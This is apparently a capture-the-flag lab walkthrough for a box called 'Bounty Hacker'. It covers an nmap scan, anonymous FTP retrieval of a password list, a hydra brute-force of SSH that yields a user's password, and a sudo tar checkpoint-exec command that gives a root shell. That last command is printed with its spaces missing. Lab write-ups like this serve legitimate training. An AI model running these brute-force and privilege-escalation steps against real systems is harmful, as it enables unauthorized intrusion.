Bounty_Hacker_Walthrough

Nmap_Scan

nmap -T4 -A 10.10.244.105

Starting Nmap 7.93 (https://nmap.org) at 2023-04-1119:53 PDT

Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 37.75% done; ETC: 19:54 (0:00:08 remaining)

Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 66.67% done; ETC: 19:54 (0:00:03 remaining)

Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 99.76% done; ETC: 19:54 (0:00:00 remaining)

Nmap scan report for 10.10.244.105

Host is up (0.19s latency).

Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

|ftp-syst:

| STAT:

| FTP server status:

Connected to ::ffff:10.2.0.78

| Logged in as ftp

| TYPE: ASCII

I No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

Data connections will be plain text

At session startup, client count was 3

vsFTPd 3.0.3 - secure, fast, stable

_End of status

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_Can't get directory listing: TIMEOUT

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

|ssh-hostkey:

| 2048 dcf8dfa7a6006d18b0702ba5aaa6143e (RSA)

256 ecc0f2d91e6f487d389ae3bb08c40cc9 (ECDSA)

_ 256 a41a15a5d4b1cf8f16503a7dd0d813c2 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

_http-title: Site doesn't have a title (text/html).

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 55.93 seconds

Notes

We run an nmap scan, and see 3 ports open 21 ftp,22 ssh, 80 http. My first thought is to look at ftp because it has anonymous login.

FTP

220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||42202|)
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.

Notes

When we login to ftp, we see 2 .txt files. mget *.* files. Reading those files we see 1 is a note with a username of lin. the second file is a password list. Lets try to bruteforce ssh.

SSH

hydra -L UserNames -P locks.txt ssh://10.10.244.105

130 ×

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-11 20:15:00

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use - t4

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 130 login tries (l:5/p:26), ~9 tries per task

[DATA] attacking ssh://10.10.244.105:22/

[22][ssh] host: 10.10.244.105 login: lin password: RedDr4gon

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 1 final worker threads did not complete until end.

[ERROR] 1 target did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-11 20:15:38

Notes

I made my own worlist and added lin to that list. HINT thats not the full password. Now login to ssh and get your user flag.

PrivEsc

```
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin
```

User lin may run the following commands on bountyhacker: (root) /bin/tar

Notes

We run sudo -l to see what lin can run as root. Lin can run tar as root. Go to GTFObins type in tar, go to sudo then copy and paste command to get root.

Command for root:

sudo tar-cf/dev/null/dev/null--checkpoint=1--checkpoint-action=exec=/bin/sh

Thanks I hope you find this usefull.